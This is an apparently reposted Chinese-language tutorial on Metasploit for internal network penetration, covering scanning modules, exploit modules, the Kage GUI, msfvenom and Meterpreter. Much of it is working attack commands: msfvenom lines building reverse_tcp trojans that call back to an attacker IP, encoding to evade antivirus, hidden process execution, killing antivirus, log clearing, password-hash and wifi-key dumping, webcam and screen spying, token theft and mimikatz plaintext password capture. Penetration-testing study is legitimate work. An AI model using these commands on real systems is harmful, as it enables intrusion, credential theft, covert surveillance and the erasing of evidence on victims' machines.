內(nèi)網(wǎng)滲透 Metasploit(MSF)使用
1、認(rèn)識(shí) MSF
? Metasploit 是一款開(kāi)源的安全漏洞檢測(cè)工具,可以幫助安全和IT專(zhuān)業(yè)人士識(shí)別安全性問(wèn)題,驗(yàn)證漏洞的緩解措施,并管理專(zhuān)家驅(qū)動(dòng)的安全性進(jìn)行評(píng)估,提供真正的安全風(fēng)險(xiǎn)情報(bào)。這些功能包括智能開(kāi)發(fā),代碼審計(jì),Web應(yīng)用程序掃描,社會(huì)工程。團(tuán)隊(duì)合作,在 Metasploit 和綜合報(bào)告提出了他們的發(fā)現(xiàn),2003年為第一個(gè)版本,2007年用 ruby 進(jìn)行了重新
? 安裝自查,不必多說(shuō)
1.1、MSF 目錄架構(gòu)
進(jìn)入目錄
data目錄
里面存有為msf中可以編寫(xiě)的一些文件,里面含有msf存儲(chǔ)的漏洞具體數(shù)據(jù),一般在使用exp時(shí)會(huì)編寫(xiě)一些重要的函數(shù),簡(jiǎn)單來(lái)說(shuō)就是存放我們可以利用的漏洞的數(shù)據(jù)的地方。
documentation文檔目錄
存放了msf的一些相關(guān)文檔,工具介紹等
lib靜態(tài)鏈接庫(kù)目錄
存放了msf中的ruby代碼
modules模塊目錄
存放了msf的模塊,msf為模塊化工具,插件
tools目錄
小工具模塊
2、MSF 基礎(chǔ)操作
2.1、msf 的基礎(chǔ)部分
內(nèi)置數(shù)據(jù)庫(kù)posetsql
Linux初始化并啟動(dòng)msf數(shù)據(jù)庫(kù)
msfdb init
kali中的啟動(dòng)命令
msfconsole
查看數(shù)據(jù)庫(kù)狀態(tài)
db_status
help #查看幫助
exit #退出
MSF 共分為3個(gè)部分:
(1)剛進(jìn)入頁(yè)面的操作部分
(2)msfvenom 生成攻擊載荷的工具,內(nèi)嵌于 msf
(3)當(dāng)進(jìn)入某個(gè)會(huì)話時(shí)的部分
2.2、簡(jiǎn)單操作命令
show 模塊名 #查看/展示模塊(exploits、payloads、enncoders等)
search 模塊名 #沒(méi)什么好方法,可以直接搜索漏洞編號(hào),或者網(wǎng)上查詢需要的模塊名
use 模塊名 #使用需要的模塊
back #返回上一級(jí)
info #查看模塊詳細(xì)信息
show options #非常常用,看具體配置,通過(guò)Required下面為Yes為必填項(xiàng)
set Name xxxx #在options中的必填項(xiàng)名字后面接具體信息
run / exploit #執(zhí)行模塊
exploit -j #通過(guò)這條命令運(yùn)行任務(wù)
jobs #查看后臺(tái)正在執(zhí)行的工作
kill ID值 #關(guān)閉后臺(tái)正在執(zhí)行的工作
2.3、常用的掃描模塊
一般 msf 將掃描模塊都放在auxiliary/scanner
當(dāng)中
2.3.1、arp 掃描
使用 ARP 請(qǐng)求枚舉本地網(wǎng)絡(luò)中的活動(dòng)主機(jī)
在kali中如下目錄為msf的模塊目錄
/usr/share/metasploit-framework/modules/auxiliary/
search arp
可以看到有scanner
的很多掃描器,auxiliary/scanner/discovery/arp_sweep
關(guān)于信息收集的有很多
use auxiliary/scanner/discovery/arp_sweep //選擇模塊
options //顯示參數(shù)配置
set rhosts xxx.xxx.x.x/24 //確定主機(jī)
set threads 10 //調(diào)線程
run //運(yùn)行
2.3.2、UDP 掃描
search udp
use auxiliary/scanner/discovery/udp_sweep
可以看到有很多很多模塊供我們使用
自己試試用得順手的模塊
這里就不使用了
2.3.3、端口掃描
SYN、ACK、TCP、XMAS、FTP 掃描等等
search portscan
use auxiliary/scanner/portscan/tcp
2.3.4、SMB 掃描
search smb
use auxiliary/scanner/smb/smb_version //可以探索版本信息
2.4、EXP 模塊
use exploit //輸入這個(gè)然后按Tab鍵可進(jìn)行閱覽
可以看到有2251個(gè)項(xiàng)目,這里就不一一枚舉了
如果目前已知目標(biāo)系統(tǒng)為 windows,那么直接搜索可以減少閱覽量
use exploit/windows
大部分 EXP 模塊都是在已經(jīng)取得一定權(quán)限后使用的,比如提權(quán)等,rce(MS17-010) 等比較少
就按 windows 來(lái)說(shuō),當(dāng)我們執(zhí)行成功時(shí),不僅僅只是執(zhí)行了一個(gè)命令,我們還可以為其添加一個(gè)攻擊載荷,使其在執(zhí)行完命令后,還能為我們反彈回來(lái)一個(gè)會(huì)話
set payload windows/x64/meterpreter/reverse_tcp
然后查看配置
options
可以發(fā)現(xiàn)這里多了一條 payload,有這個(gè) payload 后,在執(zhí)行完 rce 后,會(huì)返回一個(gè) msf 的會(huì)話,支持很多系統(tǒng)
set payload //然后按Tab就行
3、msf 可視化遠(yuǎn)控平臺(tái) Kage
3.1、Kage 安裝
當(dāng)然我們也可以使用msf
可視化遠(yuǎn)控平臺(tái)----Kage
項(xiàng)目地址:https://github.com/WayzDev/Kage/
? https://github.com/Zerx0r/Kage/releases
git clone https://github.com/Zerx0r/Kage.git
安裝好后進(jìn)入Kage
cd Kage
安裝依賴項(xiàng)
yarn
第二個(gè)項(xiàng)目因?yàn)槲覀兪荓inux系統(tǒng),所以我們下載
Kage.0.1.1-beta_linux.AppImage
建議使用root權(quán)限運(yùn)行
接著我們使用下面這行代碼來(lái)運(yùn)行msf,啟動(dòng)msf并開(kāi)啟一個(gè)接口
msfconsole -q -x 'load msgrpc ServerHost=0.0.0.0 ServerPort=55562 User=msfuser Pass=msfpass'
接下來(lái)我們需要用kage連接這個(gè)接口,開(kāi)啟可視化msf
當(dāng)然也可以直接寫(xiě)入下面的代碼運(yùn)行
msfrpcd -U msfuser -P msfpass -a 0.0.0.0
-U: 登錄kage的賬號(hào)
-P:登錄kage的密碼
-a: msf的ip地址(很重要,要是kage和msf在同一臺(tái)電腦,用0.0.0.0即127.0.0.1)
賦予程序啟動(dòng)權(quán)限,啟動(dòng)程序并登陸
chmod 777 Kage.0.1.1-beta_linux.AppImage
./Kage.0.1.1-beta_linux.AppImage
輸入我們?cè)O(shè)置的賬號(hào)密碼,就可以進(jìn)入了
3.2、Kage 的使用
我們可以利用命令生成木馬,也可以在平臺(tái)上生成木馬,根據(jù)自己的具體情況來(lái)看,在木馬成功上線目標(biāo)機(jī)時(shí),會(huì)有各種操作可用。
Jobs是監(jiān)聽(tīng)功能,Payload generator是木馬生成程序
首先我們需要開(kāi)啟監(jiān)聽(tīng)并發(fā)送木馬
生成木馬支持多種平臺(tái)和方式,選擇你所需要的方式進(jìn)行木馬生成。后續(xù)的監(jiān)聽(tīng)也是需要保持同生成木馬的一致性(本機(jī)IP、負(fù)載方法、監(jiān)聽(tīng)端口)
木馬生成(填寫(xiě)程序名、負(fù)載方法、本機(jī)ip、端口、程序類(lèi)型、編碼方式(一般默認(rèn)))
負(fù)載方法常用的是windows/meterpreter/reverse_tcp,當(dāng)然,它也支持對(duì)安卓、linux以及java、python的負(fù)載方法,根據(jù)個(gè)人的測(cè)試環(huán)境。
生成的木馬程序可以在右側(cè)Saved as中看到是在root目錄下,自己去目錄中把文件拖出來(lái)就可以了。后續(xù)錄音、拍照、下載等功能使用時(shí)的文件在會(huì)在該目錄下
3.3、Kage 可執(zhí)行的操作
可以執(zhí)行的操作:
(1)系統(tǒng)指令
(2)文件指令
(3)網(wǎng)絡(luò)指令
(4)拍照指令
(5)錄音指令
(6)文件存放(存放地址為Kage
)
4、msfvenom 模塊
4.1、概述
msfvenom 是 msf 生成 payload 的一個(gè)工具
這里要區(qū)分一下 EXP 與 Payload :EXP 是利用漏洞進(jìn)行攻擊動(dòng)作,而 payload 是 EXP 執(zhí)行成功后在目標(biāo)內(nèi)進(jìn)行各種指令動(dòng)作。
除了可以將 payload 插入到 exp 里面,也可以作為獨(dú)立模塊進(jìn)行生成,需要用這個(gè)工具生成一個(gè)落地化的,類(lèi)似于會(huì)話,可移植性各種操作
4.2、基本操作
msfvenom
例子
/usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe
-l #列出所有payload,需要添加參數(shù)payloads, encoders, nops, platforms, archs, encrypt, formats, all
所支持的架構(gòu)有:aarch64、armbe、armle、cbea、cbea64、cmd、dalvik、firefox、java、mips、mips64、mips64le、mipsbe、mipsle、nodejs、php、ppc、ppc64、ppc64le、ppce500v2、python、r、ruby、sparc、sparc64、tty、x64、x86、x86_64、zarch
-p #后面跟payload的其余參數(shù)
可以看到下面的有bind
和reverse
兩種類(lèi)型的 payload,那么有什么區(qū)別呢?
bind
:正向,攻擊機(jī)可以連接目標(biāo)機(jī),而目標(biāo)機(jī)不能連接攻擊機(jī),是攻擊機(jī)主動(dòng)連接目標(biāo)機(jī)
reverse
:反向,目標(biāo)機(jī)主動(dòng)連接攻擊機(jī),一般使用反彈 TCP 協(xié)議。
-f #指定輸出文件格式
所支持的格式有:asp、aspx、aspx-exe、axis2、dll、elf、elf-so、exe、exe-only、exe-service、exe-small、hta-psh、jar、jsp、loop-vbs、macho、msi、msi-nouac、osx-app、psh、psh-cmd、psh-net、psh-reflection、python-reflection、vba、vba-exe、vba-psh、vbs、war;base32、base64、bash、c、csharp、dw、dword、go、golang、hex、java、js_be、js_le、nim、nimlang、num、perl、pl、powershell、ps1、py、python、raw、rb、ruby、sh、vbapplication、vbscript
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.71.138 lport=3333 -f exe > ceshi.exe
生成一個(gè)windwos的反彈shell,名字為ceshi.exe
-e #指定編碼方式,繞過(guò)殺軟的一種方式
-i #指定編碼次數(shù),一般配合 -e 使用,最好小于20次,否則將不會(huì)運(yùn)行
舉個(gè)例子,生成一個(gè) payload
winodws:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ipaddress LPORT=port -e 編碼方式 -i 次數(shù) -f exe > ceshi.exe
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ipaddress LPORT=port -e 編碼方式 -i 次數(shù) -f elf > ceshi.elf
5、Meterpreter 模塊
當(dāng)我們生成的 payload 成功在目標(biāo)機(jī)器上執(zhí)行時(shí),便會(huì)返回這樣一個(gè)會(huì)話,我們?cè)诖藭?huì)話中執(zhí)行各種后滲透操作
5.1、基礎(chǔ)操作
help #幫助
background #返回msf界面
sessions -l #返回所有會(huì)話信息
sessions -i id值 #返回指定交互會(huì)話
pwd #返回目標(biāo)機(jī)中所處目錄位置
lpwd #查看本地目錄
cd #切換目標(biāo)機(jī)指定目錄
lcd #切換本機(jī)指定目錄
ls #列出目標(biāo)機(jī)當(dāng)前目錄文件
lls #列出本機(jī)目錄的文件
clearev #清除痕跡,清除我們?cè)谀繕?biāo)機(jī)器上的一些操作痕跡?。?!
download 文件名 #將目標(biāo)文件下載到本地
upload 文件名 #將文件上傳到目標(biāo)機(jī)
shell #進(jìn)入cmd命令框
exit #退出終端
ps #列出目標(biāo)進(jìn)程
getuid #查看當(dāng)前用戶的身份,可以理解為用戶名
getprivs #查看當(dāng)前用戶的權(quán)限
getpid #查看木馬進(jìn)程
idletime #查看目標(biāo)服務(wù)器空閑時(shí)間
sysinfo #查看目標(biāo)主機(jī)信息
kill PID號(hào) #殺死進(jìn)程
shutdown #關(guān)機(jī)
reboot #重啟
netstat #查看網(wǎng)絡(luò)連接情況
ipconfig #查看目標(biāo)IP信息
getsystem #嘗試提權(quán)
不過(guò)進(jìn)入 windows 會(huì)有亂碼出現(xiàn),我們使用chcp 65001
便可以解決中文亂碼
execute #需要參數(shù),在目標(biāo)機(jī)執(zhí)行一些命令
用法:execute -f file [options]
在遠(yuǎn)程計(jì)算機(jī)上執(zhí)行命令。
選項(xiàng):
-a #傳遞給命令的參數(shù)。
-c #通道化I/O(交互需要)。
-d #使用-m時(shí)要啟動(dòng)的“虛擬”可執(zhí)行文件。
-f #要運(yùn)行的可執(zhí)行命令。
-h #幫助菜單。
-H #創(chuàng)建隱藏在視圖中的流程。
-i #創(chuàng)建流程后與流程交互。
-k #在流量計(jì)當(dāng)前桌面上執(zhí)行進(jìn)程
-m #從內(nèi)存執(zhí)行。
-p #在pty中執(zhí)行進(jìn)程(如果在目標(biāo)平臺(tái)上可用)
-s #以會(huì)話用戶身份在給定會(huì)話中執(zhí)行進(jìn)程
-t #使用當(dāng)前模擬的線程標(biāo)記執(zhí)行進(jìn)程
-z #在子shell中執(zhí)行進(jìn)程
execute -f ceshi.exe -H
我們一般只用-f
參數(shù)來(lái)執(zhí)行一個(gè)文件進(jìn)程,使用-h
參數(shù)來(lái)隱藏進(jìn)程
migrate PID進(jìn)程碼 #進(jìn)程遷移命令
migrate 所要遷移的進(jìn)程號(hào)也就是PID
5.2、配合 meterpreter 的信息收集模塊
有很多模塊,大多數(shù)都是對(duì)于主機(jī)的信息收集功能,以 POST 開(kāi)頭
進(jìn)入meterpreter中,使用run
run killav #殺死殺毒軟件
run hashdump #導(dǎo)出目標(biāo)機(jī)的哈希保存密碼(需要權(quán)限)
run post/windows/wlan/wlan_profile #獲取wifi密碼
run vnc #實(shí)時(shí)屏幕監(jiān)控
run webcam #開(kāi)啟一個(gè)攝像頭(要求對(duì)面擁有攝像頭)
run post/windows/gather/checkvm #查看當(dāng)前主機(jī)是否為虛擬機(jī)
run post/windows/gather/enum_computers #探尋域內(nèi)主機(jī)
run post/windows/manage/enable_rdp #開(kāi)啟目標(biāo)3389端口
5.3、Token 竊取
load incognito #令牌竊取工具
list_tokens -u #列出可以模擬的令牌
impersonate_token 可以模擬的令牌成員名 #竊取一個(gè)指定的令牌,獲取相應(yīng)權(quán)限
一般竊取管理員或者 SYSTEM 的身份
mimikatz
load mimikatz
wdigest #抓取計(jì)算機(jī)中的明文密碼
7、armitage
7.1、概述
Armitage 就是一款使用 Java 為 Metasploit 編寫(xiě)的有圖形化操作界面的軟件,通過(guò)它可以輕松的使用 Metasploit 對(duì)目標(biāo)進(jìn)行攻擊
感覺(jué)不如用 kage。。。。。
8、MSF 更新
apt update
apt install metasploit-framework
MSF 插件更新可以從下面地址獲取
插件地址:https://exploit-db.com文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-792352.html
搜索 Metasploit 可以查詢相應(yīng)插件加載,里面文檔有安裝教程文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-792352.html
到了這里,關(guān)于內(nèi)網(wǎng)滲透 Metasploit(MSF)基礎(chǔ)使用的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!